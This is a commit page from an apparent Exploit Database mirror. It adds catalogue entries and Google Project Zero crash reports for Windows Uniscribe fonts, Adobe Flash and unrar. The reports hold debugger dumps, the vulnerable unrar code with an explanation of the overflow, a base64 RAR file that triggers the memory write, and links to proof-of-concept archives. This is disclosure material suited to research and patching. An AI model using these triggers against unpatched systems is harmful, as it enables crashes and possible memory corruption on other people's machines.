bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

DB: 2017-06-24

Browse source 
16 new exploits

Microsoft Windows - 'USP10!MergeLigRecords' Uniscribe Font Processing Heap-Based Memory Corruption
Microsoft Windows - 'USP10!ttoGetTableData' Uniscribe Font Processing Out-of-Bounds Memory Read
Microsoft Windows - 'USP10!SubstituteNtoM' Uniscribe Font Processing Out-of-Bounds Memory Read
Microsoft Windows - 'USP10!CreateIndexTable' Uniscribe Font Processing Out-of-Bounds Memory Read
Microsoft Windows - 'USP10!NextCharInLiga' Uniscribe Font Processing Out-of-Bounds Memory Read
Microsoft Windows - 'USP10!otlSinglePosLookup::getCoverageTable' Uniscribe Font Processing Out-of-Bounds Memory Read
Microsoft Windows - 'USP10!otlValueRecord::adjustPos' Uniscribe Font Processing Out-of-Bounds Memory Read
Microsoft Windows - 'USP10!otlReverseChainingLookup::apply' Uniscribe Font Processing Out-of-Bounds Memory Read
Microsoft Windows - 'nt!NtQueryInformationResourceManager (information class 0)' Kernel Stack Memory Disclosure
Microsoft Windows - Kernel ATMFD.DLL Out-of-Bounds Read due to Malformed Name INDEX in the CFF Table
Microsoft Windows - 'nt!NtQueryInformationWorkerFactory (WorkerFactoryBasicInformation)' Kernel Stack Memory Disclosure
unrar 5.40 - VMSF_DELTA Filter Arbitrary Memory Write
Microsoft Edge - 'CssParser::RecordProperty' Type Confusion
Adobe Flash - AVC Edge Processing Out-of-Bounds Read
Adobe Flash - Image Decoding Out-of-Bounds Read
Adobe Flash - ATF Parser Heap Corruption

Trend Micro Deep Security version 6.5 - XML External Entity Injection / Local Privilege Escalation / Remote Code Execution
Trend Micro Deep Security 6.5 - XML External Entity Injection / Local Privilege Escalation / Remote Code Execution
This commit is contained in:
Offensive Security 2017-06-24 05:01:27 +00:00
parent 86f822c557
commit 66671632b5
17 changed files with 1034 additions and 1 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

18
files.csv
View file

@ -5578,6 +5578,22 @@ id,file,description,date,author,platform,type,port
42231,platforms/windows/dos/42231.cpp,"Microsoft Windows - 'nt!NtQueryInformationJobObject (information class 12)' Kernel Stack Memory Disclosure",2017-06-22,"Google Security Research",windows,dos,0
42232,platforms/windows/dos/42232.cpp,"Microsoft Windows - 'nt!NtQueryInformationJobObject (information class 28)' Kernel Stack Memory Disclosure",2017-06-22,"Google Security Research",windows,dos,0
42233,platforms/windows/dos/42233.cpp,"Microsoft Windows - 'nt!NtQueryInformationTransaction (information class 1)' Kernel Stack Memory Disclosure",2017-06-22,"Google Security Research",windows,dos,0
42234,platforms/windows/dos/42234.txt,"Microsoft Windows - 'USP10!MergeLigRecords' Uniscribe Font Processing Heap-Based Memory Corruption",2017-06-23,"Google Security Research",windows,dos,0
42235,platforms/windows/dos/42235.txt,"Microsoft Windows - 'USP10!ttoGetTableData' Uniscribe Font Processing Out-of-Bounds Memory Read",2017-06-23,"Google Security Research",windows,dos,0
42236,platforms/windows/dos/42236.txt,"Microsoft Windows - 'USP10!SubstituteNtoM' Uniscribe Font Processing Out-of-Bounds Memory Read",2017-06-23,"Google Security Research",windows,dos,0
42237,platforms/windows/dos/42237.txt,"Microsoft Windows - 'USP10!CreateIndexTable' Uniscribe Font Processing Out-of-Bounds Memory Read",2017-06-23,"Google Security Research",windows,dos,0
42238,platforms/windows/dos/42238.txt,"Microsoft Windows - 'USP10!NextCharInLiga' Uniscribe Font Processing Out-of-Bounds Memory Read",2017-06-23,"Google Security Research",windows,dos,0
42239,platforms/windows/dos/42239.txt,"Microsoft Windows - 'USP10!otlSinglePosLookup::getCoverageTable' Uniscribe Font Processing Out-of-Bounds Memory Read",2017-06-23,"Google Security Research",windows,dos,0
42240,platforms/windows/dos/42240.txt,"Microsoft Windows - 'USP10!otlValueRecord::adjustPos' Uniscribe Font Processing Out-of-Bounds Memory Read",2017-06-23,"Google Security Research",windows,dos,0
42241,platforms/windows/dos/42241.txt,"Microsoft Windows - 'USP10!otlReverseChainingLookup::apply' Uniscribe Font Processing Out-of-Bounds Memory Read",2017-06-23,"Google Security Research",windows,dos,0
42242,platforms/windows/dos/42242.cpp,"Microsoft Windows - 'nt!NtQueryInformationResourceManager (information class 0)' Kernel Stack Memory Disclosure",2017-06-23,"Google Security Research",windows,dos,0
42243,platforms/windows/dos/42243.txt,"Microsoft Windows - Kernel ATMFD.DLL Out-of-Bounds Read due to Malformed Name INDEX in the CFF Table",2017-06-23,"Google Security Research",windows,dos,0
42244,platforms/windows/dos/42244.cpp,"Microsoft Windows - 'nt!NtQueryInformationWorkerFactory (WorkerFactoryBasicInformation)' Kernel Stack Memory Disclosure",2017-06-23,"Google Security Research",windows,dos,0
42245,platforms/multiple/dos/42245.txt,"unrar 5.40 - VMSF_DELTA Filter Arbitrary Memory Write",2017-06-23,"Google Security Research",multiple,dos,0
42246,platforms/windows/dos/42246.html,"Microsoft Edge - 'CssParser::RecordProperty' Type Confusion",2017-06-23,"Google Security Research",windows,dos,0
42247,platforms/multiple/dos/42247.txt,"Adobe Flash - AVC Edge Processing Out-of-Bounds Read",2017-06-23,"Google Security Research",multiple,dos,0
42248,platforms/multiple/dos/42248.txt,"Adobe Flash - Image Decoding Out-of-Bounds Read",2017-06-23,"Google Security Research",multiple,dos,0
42249,platforms/multiple/dos/42249.txt,"Adobe Flash - ATF Parser Heap Corruption",2017-06-23,"Google Security Research",multiple,dos,0
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
@ -37931,7 +37947,7 @@ id,file,description,date,author,platform,type,port
41844,platforms/php/webapps/41844.html,"e107 CMS 2.1.4 - Cross-Site Request Forgery",2017-04-07,"Zhiyang Zeng",php,webapps,0
41845,platforms/php/webapps/41845.txt,"WordPress Plugin WHIZZ < 1.1.1 - Cross-Site Request Forgery",2017-04-07,"Zhiyang Zeng",php,webapps,80
41846,platforms/php/webapps/41846.html,"WordPress Plugin CopySafe Web Protect < 2.6 - Cross-Site Request Forgery",2017-04-07,"Zhiyang Zeng",php,webapps,80
42089,platforms/xml/webapps/42089.txt,"Trend Micro Deep Security version 6.5 - XML External Entity Injection / Local Privilege Escalation / Remote Code Execution",2017-05-30,SecuriTeam,xml,webapps,0
42089,platforms/xml/webapps/42089.txt,"Trend Micro Deep Security 6.5 - XML External Entity Injection / Local Privilege Escalation / Remote Code Execution",2017-05-30,SecuriTeam,xml,webapps,0
42090,platforms/multiple/webapps/42090.txt,"KEMP LoadMaster 7.135.0.13245 - Persistent Cross-Site Scripting / Remote Code Execution",2017-05-30,SecuriTeam,multiple,webapps,0
42091,platforms/windows/webapps/42091.txt,"IBM Informix Dynamic Server / Informix Open Admin Tool - DLL Injection / Remote Code Execution / Heap Buffer Overflow",2017-05-30,SecuriTeam,windows,webapps,0
41849,platforms/php/webapps/41849.txt,"Jobscript4Web 4.5 - Authentication Bypass",2017-04-08,TurkCyberArmy,php,webapps,0

Can't render this file because it is too large.

52
platforms/multiple/dos/42245.txt Executable file
View file

@ -0,0 +1,52 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1286&desc=6
It appears that the VMSF_DELTA memory corruption that was reported to Sophos AV in 2012 (and fixed there) was actually inherited from upstream unrar. For unknown reasons the information did not reach upstream rar or was otherwise lost, and the bug seems to have persisted there to this day.
The bug is sometimes called "Sophos Anti-Virus RAR VMSF_DELTA Filter Signedness Error", and referenced in the following links:
https://community.sophos.com/kb/en-us/118424#six
http://telussecuritylabs.com/threats/show/TSL20121207-01
The issue is in the following code:
case VMSF_DELTA:
{
int DataSize=R[4],Channels=R[0],SrcPos=0,Border=DataSize*2;
if ((uint)DataSize>=VM_MEMSIZE/2)
break;
// Bytes from same channels are grouped to continual data blocks,
// so we need to place them back to their interleaving positions.
for (int CurChannel=0;CurChannel<Channels;CurChannel++)
{
byte PrevByte=0;
for (int DestPos=DataSize+CurChannel;DestPos<Border;DestPos+=Channels)
Mem[DestPos]=(PrevByte-=Mem[SrcPos++]);
}
}
break;
An attacker controls R[4] and R[0] arbitrarily. By setting R[0] to be sufficiently
large (perhaps 0x7FFFFFFF), an integer overflow can be caused in DataSize+CurChannel.
The result is a negative value of "DestPos", which allows the attacker to write
out of bounds when setting Mem[DestPos].
A minimal test example that crashes unrar 5.40 and prior is base64-encoded below:
Base64-encoded RAR file to trigger the VMSF_DELTA issue:
UmFyIRoHAPlOcwAADgAAAAAAAAAAMAh0AAAmAI4AAAAAAAAAAhBBUiEAAAAAHQAGAAAAACBzdGRv
dXQgIVUMzRDNmBGByDAda+AXaSv4KvQr1K/oejL05mXmXmww5tEk8gA9k8nmieyeyeswuOR6cx69
a2Hd6zQwu3aoMDDwMEswADAAMD4P938w+dydoRFwAmwAAAAAvv////+/////+9W3QFgAAQAGAAAA
Ooimhd12AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Given the wide prevalence of the unrar source code in third-party software, quite a few
downstream parties will be affected. The source code with the fixes can be found
under http://www.rarlab.com/rar/unrarsrc-5.5.5.tar.gz - downstream parties are
encouraged to quickly update and ship fixes.
Thanks to the RAR developers for their quick turnaround and helpful proactive audit
of their codebase which removed further issues.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42245.zip

7
platforms/multiple/dos/42247.txt Executable file
View file

@ -0,0 +1,7 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1212
The attached file causes an out-of-bounds read in avc edge processing.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42247.zip

9
platforms/multiple/dos/42248.txt Executable file
View file

@ -0,0 +1,9 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1215
The attached png file causes an out-of-bounds read when being decoded by flash. To reproduce the issue, put LoadImage.swf and read1.png on a server, and visit:
http://127.0.0.1/LoadImage.swf=read1.png
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42248.zip

7
platforms/multiple/dos/42249.txt Executable file
View file

@ -0,0 +1,7 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1216
The attached file causes heap corruption in the ATF parser. To reproduce the issue, copy atffree.atf and LoadImage.swf to a server, and visit http://127.0.0.1/LoadImage.swf?img=atffree.png.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42249.zip

84
platforms/windows/dos/42234.txt Executable file
View file

@ -0,0 +1,84 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1198
We have encountered a crash in the Windows Uniscribe user-mode library, in the memmove() function called by USP10!MergeLigRecords, while trying to display text using a corrupted font file:
---
(4e0.6dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000036 ecx=000023af edx=00000003 esi=03624337 edi=0362436d
eip=76e1026a esp=003cefd8 ebp=003cefe0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
msvcrt!memmove+0x224:
76e1026a 8a4603 mov al,byte ptr [esi+3] ds:0023:0362433a=??
0:000> kb
# ChildEBP RetAddr Args to Child
00 003cefe0 774c772d 03621fc1 03621f8b 000023b0 msvcrt!memmove+0x224
01 003ceffc 774c75c3 03615fd0 036159d0 003cf098 USP10!MergeLigRecords+0x3d
02 003cf05c 774c7124 0000001a 035b3d88 035bffa8 USP10!LoadTTOArabicShapeTables+0x3f3
03 003cf070 774cc734 2e0105bd 035b3d88 035a6124 USP10!LoadArabicShapeTables+0xd4
04 003cf08c 774ba5a0 2e0105bd 036157d0 0000001a USP10!ArabicLoadTbl+0xd4
05 003cf0b4 774ba692 035a6124 2e0105bd 0000001a USP10!UpdateCache+0xb0
06 003cf0c8 774c15fd 2e0105bd 035a6000 774c16ab USP10!ScriptCheckCache+0x62
07 003cf0d4 774c16ab 00000001 00000001 00000000 USP10!GetShapeFunction+0xd
08 003cf10c 774c2bd4 00000001 00000004 003cf18c USP10!RenderItemNoFallback+0x5b
09 003cf138 774c2e62 00000001 00000004 003cf18c USP10!RenderItemWithFallback+0x104
0a 003cf15c 774c43f9 00000004 003cf18c 035a6124 USP10!RenderItem+0x22
0b 003cf1a0 774b7a04 000004a0 00000400 2e0105bd USP10!ScriptStringAnalyzeGlyphs+0x1e9
0c 003cf1b8 760a1736 2e0105bd 035a6040 0000000a USP10!ScriptStringAnalyse+0x284
0d 003cf204 760a18c1 2e0105bd 003cf688 0000000a LPK!LpkStringAnalyse+0xe5
0e 003cf300 760a17b4 2e0105bd 00000000 00000000 LPK!LpkCharsetDraw+0x332
0f 003cf334 77df56a9 2e0105bd 00000000 00000000 LPK!LpkDrawTextEx+0x40
10 003cf374 77df5a64 2e0105bd 00000048 00000000 USER32!DT_DrawStr+0x13c
11 003cf3c0 77df580f 2e0105bd 003cf688 003cf69c USER32!DT_GetLineBreak+0x78
12 003cf46c 77df5882 2e0105bd 00000000 0000000a USER32!DrawTextExWorker+0x250
13 003cf490 77df5b68 2e0105bd 003cf688 ffffffff USER32!DrawTextExW+0x1e
14 003cf4c4 000e6c3a 2e0105bd 003cf688 ffffffff USER32!DrawTextW+0x4d
[...]
0:000> db poi(ebp+8)
03621fc1 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
03621fd1 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
03621fe1 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
03621ff1 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 d0 d0 d0 d0 ?? ...............?
03622001 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
03622011 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
03622021 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
03622031 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:000> db poi(ebp+c)
03621f8b 00 b5 00 b7 00 b9 00 bb-00 bd 00 bf 00 c3 00 c5 ................
03621f9b 00 c9 00 cb 00 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
03621fab c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
03621fbb c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
03621fcb c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
03621fdb c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
03621feb c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
03621ffb c0 d0 d0 d0 d0 ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? .....???????????
0:000> dd esi
03624337 ???????? ???????? ???????? ????????
03624347 ???????? ???????? ???????? ????????
03624357 ???????? ???????? ???????? ????????
03624367 ???????? ???????? ???????? ????????
03624377 ???????? ???????? ???????? ????????
03624387 ???????? ???????? ???????? ????????
03624397 ???????? ???????? ???????? ????????
036243a7 ???????? ???????? ???????? ????????
0:000> dd edi
0362436d ???????? ???????? ???????? ????????
0362437d ???????? ???????? ???????? ????????
0362438d ???????? ???????? ???????? ????????
0362439d ???????? ???????? ???????? ????????
036243ad ???????? ???????? ???????? ????????
036243bd ???????? ???????? ???????? ????????
036243cd ???????? ???????? ???????? ????????
036243dd ???????? ???????? ???????? ????????
---
The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
It's worth noting that the crash is almost identical to the one reported in Issue #1026 , which was supposedly fixed as CVE-2017-0087 in the MS17-011 bulletin. The number of times we have encountered this crash while fuzzing the patched version of USP10.DLL might suggest that the fix was incomplete (or alternatively, that there is a separate bug which causes a crash in the same code location).
Attached are 6 proof of concept malformed font files which trigger the crash.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42234.zip

79
platforms/windows/dos/42235.txt Executable file
View file

@ -0,0 +1,79 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1199
We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!ttoGetTableData function, while trying to display text using a corrupted TTF font file:
---
(210.274): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000002f6 ebx=000000d0 ecx=0361c003 edx=0000d0d0 esi=0361c000 edi=016101e4
eip=774d3d43 esp=0046f1e0 ebp=0046f1f0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
USP10!ttoGetTableData+0x1aa3:
774d3d43 660fb606 movzx ax,byte ptr [esi] ds:0023:0361c000=??
0:000> kb
# ChildEBP RetAddr Args to Child
00 0046f1f0 774d2e10 00000000 00000001 0361b734 USP10!ttoGetTableData+0x1aa3
01 0046f230 774d2d68 0361b73c 036255f8 0046f250 USP10!ttoGetTableData+0xb70
02 0046f258 774d22f1 036255f8 036255f8 0361b734 USP10!ttoGetTableData+0xac8
03 0046f26c 774c75b8 03619fd0 036199d0 0046f308 USP10!ttoGetTableData+0x51
04 0046f2cc 774c7124 0000001a 035b3d88 035c1fa8 USP10!LoadTTOArabicShapeTables+0x3e8
05 0046f2e0 774cc734 9a010536 035b3d88 035a6124 USP10!LoadArabicShapeTables+0xd4
06 0046f2fc 774ba5a0 9a010536 036197d0 0000001a USP10!ArabicLoadTbl+0xd4
07 0046f324 774ba692 035a6124 9a010536 0000001a USP10!UpdateCache+0xb0
08 0046f338 774c15fd 9a010536 035a6000 774c16ab USP10!ScriptCheckCache+0x62
09 0046f344 774c16ab 00000001 00000001 00000000 USP10!GetShapeFunction+0xd
0a 0046f37c 774c2bd4 00000001 00000000 0046f3fc USP10!RenderItemNoFallback+0x5b
0b 0046f3a8 774c2e62 00000001 00000000 0046f3fc USP10!RenderItemWithFallback+0x104
0c 0046f3cc 774c43f9 00000000 0046f3fc 035a6124 USP10!RenderItem+0x22
0d 0046f410 774b7a04 000004a0 00000400 9a010536 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0e 0046f428 760a1736 9a010536 035a6040 0000000a USP10!ScriptStringAnalyse+0x284
0f 0046f474 760a18c1 9a010536 0046f8f8 0000000a LPK!LpkStringAnalyse+0xe5
10 0046f570 760a17b4 9a010536 00000000 00000000 LPK!LpkCharsetDraw+0x332
11 0046f5a4 77df56a9 9a010536 00000000 00000000 LPK!LpkDrawTextEx+0x40
12 0046f5e4 77df5a64 9a010536 00000058 00000000 USER32!DT_DrawStr+0x13c
13 0046f630 77df580f 9a010536 0046f8f8 0046f90c USER32!DT_GetLineBreak+0x78
14 0046f6dc 77df5882 9a010536 00000000 0000000a USER32!DrawTextExWorker+0x250
15 0046f700 77df5b68 9a010536 0046f8f8 ffffffff USER32!DrawTextExW+0x1e
[...]
0:000> !heap -p -a esi-1
address 0361bfff found in
_DPH_HEAP_ROOT @ 35a1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
35a1780: 361b1b0 e4e - 361b000 2000
73448e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77d26206 ntdll!RtlDebugAllocateHeap+0x00000030
77cea127 ntdll!RtlpAllocateHeap+0x000000c4
77cb5950 ntdll!RtlAllocateHeap+0x0000023a
7433ae6a vrfcore!VerifierSetAPIClassName+0x000000aa
774c6724 USP10!UspAllocCache+0x00000054
774c728f USP10!LoadTTOArabicShapeTables+0x000000bf
774c7124 USP10!LoadArabicShapeTables+0x000000d4
774cc734 USP10!ArabicLoadTbl+0x000000d4
774ba5a0 USP10!UpdateCache+0x000000b0
774ba692 USP10!ScriptCheckCache+0x00000062
774c15fd USP10!GetShapeFunction+0x0000000d
774c2bd4 USP10!RenderItemWithFallback+0x00000104
774c2e62 USP10!RenderItem+0x00000022
774c43f9 USP10!ScriptStringAnalyzeGlyphs+0x000001e9
774b7a04 USP10!ScriptStringAnalyse+0x00000284
760a1736 LPK!LpkStringAnalyse+0x000000e5
760a18c1 LPK!LpkCharsetDraw+0x00000332
760a17b4 LPK!LpkDrawTextEx+0x00000040
77df56a9 USER32!DT_DrawStr+0x0000013c
77df5a64 USER32!DT_GetLineBreak+0x00000078
77df580f USER32!DrawTextExWorker+0x00000250
77df5882 USER32!DrawTextExW+0x0000001e
77df5b68 USER32!DrawTextW+0x0000004d
[...]
---
The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached are 3 proof of concept malformed font files which trigger the crash.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42235.zip

47
platforms/windows/dos/42236.txt Executable file
View file

@ -0,0 +1,47 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1200
We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!SubstituteNtoM function, while trying to display text using a corrupted TTF font file:
---
(69c.164): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=035fc256 ebx=00000000 ecx=035fc256 edx=00000019 esi=035cc1d0 edi=00000001
eip=7750a774 esp=0014eb38 ebp=0014eb64 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
USP10!SubstituteNtoM+0x2c4:
7750a774 668b08 mov cx,word ptr [eax] ds:0023:035fc256=????
0:000> kb
# ChildEBP RetAddr Args to Child
00 0014eb64 7750994d 0014ef40 0014ef64 035fc256 USP10!SubstituteNtoM+0x2c4
01 0014eba8 7750142a 0014ef40 0014ef64 0014ee54 USP10!otlMultiSubstLookup::apply+0x10d
02 0014ec10 775039f1 00000000 0014ef40 00001c3a USP10!ApplyLookup+0x1aa
03 0014ee14 774fefcf 42555347 0014ef7c 0014ef40 USP10!ApplyFeatures+0x481
04 0014ee60 774ff920 00000000 035f3ffe 035f3c90 USP10!SubstituteOtlGlyphs+0x1bf
05 0014ee9c 774f1500 0014ef18 0014ef50 0014ef7c USP10!SubstituteOtlChars+0x220
06 0014f118 774e55da 0014f224 0014f250 0014f238 USP10!HebrewEngineGetGlyphs+0x690
07 0014f1d8 774e273f 0014f224 0014f250 0014f238 USP10!ShapingGetGlyphs+0x36a
08 0014f2c4 774b5c6f a30105a2 035c6124 035c6318 USP10!ShlShape+0x2ef
09 0014f308 774c174a a30105a2 035c6124 035c6318 USP10!ScriptShape+0x15f
0a 0014f368 774c2bd4 00000000 00000000 0014f3e8 USP10!RenderItemNoFallback+0xfa
0b 0014f394 774c2e62 00000000 00000000 0014f3e8 USP10!RenderItemWithFallback+0x104
0c 0014f3b8 774c43f9 00000000 0014f3e8 035c6124 USP10!RenderItem+0x22
0d 0014f3fc 774b7a04 000004a0 00000400 a30105a2 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0e 0014f414 760a1736 a30105a2 035c6040 0000000a USP10!ScriptStringAnalyse+0x284
0f 0014f460 760a18c1 a30105a2 0014f8e4 0000000a LPK!LpkStringAnalyse+0xe5
10 0014f55c 760a17b4 a30105a2 00000000 00000000 LPK!LpkCharsetDraw+0x332
11 0014f590 77df56a9 a30105a2 00000000 00000000 LPK!LpkDrawTextEx+0x40
12 0014f5d0 77df5a64 a30105a2 00000728 00000000 USER32!DT_DrawStr+0x13c
13 0014f61c 77df580f a30105a2 0014f8e4 0014f8f8 USER32!DT_GetLineBreak+0x78
14 0014f6c8 77df5882 a30105a2 00000000 0000000a USER32!DrawTextExWorker+0x250
15 0014f6ec 77df5b68 a30105a2 0014f8e4 ffffffff USER32!DrawTextExW+0x1e
[...]
---
The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached are 2 proof of concept malformed font files which trigger the crash.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42236.zip

45
platforms/windows/dos/42237.txt Executable file
View file

@ -0,0 +1,45 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1201
We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!CreateIndexTable function, while trying to display text using a corrupted TTF font file:
---
(5cc.74): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000025 edi=0365428f
eip=774cc410 esp=002cef70 ebp=002cf084 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
USP10!CreateIndexTable+0x40:
774cc410 0fb64c4701 movzx ecx,byte ptr [edi+eax*2+1] ds:0023:03654290=??
0:000> kb
# ChildEBP RetAddr Args to Child
00 002cf084 774cc35e 036437d0 03653f68 03651ff4 USP10!CreateIndexTable+0x40
01 002cf098 774c746e 036437d0 03643fd0 036439d0 USP10!CreateIsStartOfRuleTable+0x2e
02 002cf0fc 774c7124 0000001a 035e3d88 035effa8 USP10!LoadTTOArabicShapeTables+0x29e
03 002cf110 774cc734 6c010413 035e3d88 035d6124 USP10!LoadArabicShapeTables+0xd4
04 002cf12c 774ba5a0 6c010413 036437d0 0000001a USP10!ArabicLoadTbl+0xd4
05 002cf154 774ba692 035d6124 6c010413 0000001a USP10!UpdateCache+0xb0
06 002cf168 774c15fd 6c010413 035d6000 774c16ab USP10!ScriptCheckCache+0x62
07 002cf174 774c16ab 00000001 00000001 00000000 USP10!GetShapeFunction+0xd
08 002cf1ac 774c2bd4 00000001 00000002 002cf22c USP10!RenderItemNoFallback+0x5b
09 002cf1d8 774c2e62 00000001 00000002 002cf22c USP10!RenderItemWithFallback+0x104
0a 002cf1fc 774c43f9 00000002 002cf22c 035d6124 USP10!RenderItem+0x22
0b 002cf240 774b7a04 000004a0 00000400 6c010413 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0c 002cf258 760a1736 6c010413 035d6040 0000000a USP10!ScriptStringAnalyse+0x284
0d 002cf2a4 760a18c1 6c010413 002cf728 0000000a LPK!LpkStringAnalyse+0xe5
0e 002cf3a0 760a17b4 6c010413 00000000 00000000 LPK!LpkCharsetDraw+0x332
0f 002cf3d4 77df56a9 6c010413 00000000 00000000 LPK!LpkDrawTextEx+0x40
10 002cf414 77df5a64 6c010413 00000070 00000000 USER32!DT_DrawStr+0x13c
11 002cf460 77df580f 6c010413 002cf728 002cf73c USER32!DT_GetLineBreak+0x78
12 002cf50c 77df5882 6c010413 00000000 0000000a USER32!DrawTextExWorker+0x250
13 002cf530 77df5b68 6c010413 002cf728 ffffffff USER32!DrawTextExW+0x1e
[...]
---
The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached is a proof of concept malformed font file which triggers the crash.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42237.zip

49
platforms/windows/dos/42238.txt Executable file
View file

@ -0,0 +1,49 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1202
We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!NextCharInLiga function, while trying to display text using a corrupted TTF font file:
---
(3d4.454): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000032c3 ebx=002cedbc ecx=00000002 edx=0372c060 esi=00000006 edi=00006586
eip=77505a5e esp=002ce974 ebp=002ce980 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
USP10!NextCharInLiga+0x1e:
77505a5e 0fb73c17 movzx edi,word ptr [edi+edx] ds:0023:037325e6=????
0:000> kb
# ChildEBP RetAddr Args to Child
00 002ce980 774ffbe3 002cedbc 000032c3 00000008 USP10!NextCharInLiga+0x1e
01 002ce99c 77506148 002cedbc 002cedb0 00000006 USP10!CharToComponent+0x43
02 002ce9c8 775062bb 002cedbc 002cedb0 00000009 USP10!findBaseLigature+0xa8
03 002cea0c 77501733 002cedbc 0374cd30 002cecbc USP10!otlMkLigaPosLookup::apply+0x9b
04 002cea78 775039f1 00000000 002cedbc 002cedb0 USP10!ApplyLookup+0x4b3
05 002cec7c 774ff1d1 534f5047 002cedf4 002cedbc USP10!ApplyFeatures+0x481
06 002cecc8 774fb28b 03758ffc 03758d68 002cedf4 USP10!RePositionOtlGlyphs+0x1c1
07 002cecfc 774f7df3 002ced94 002cede0 002cedf4 USP10!ShapingLibraryInternal::RePositionOtlGlyphsWithLanguageFallback+0x2b
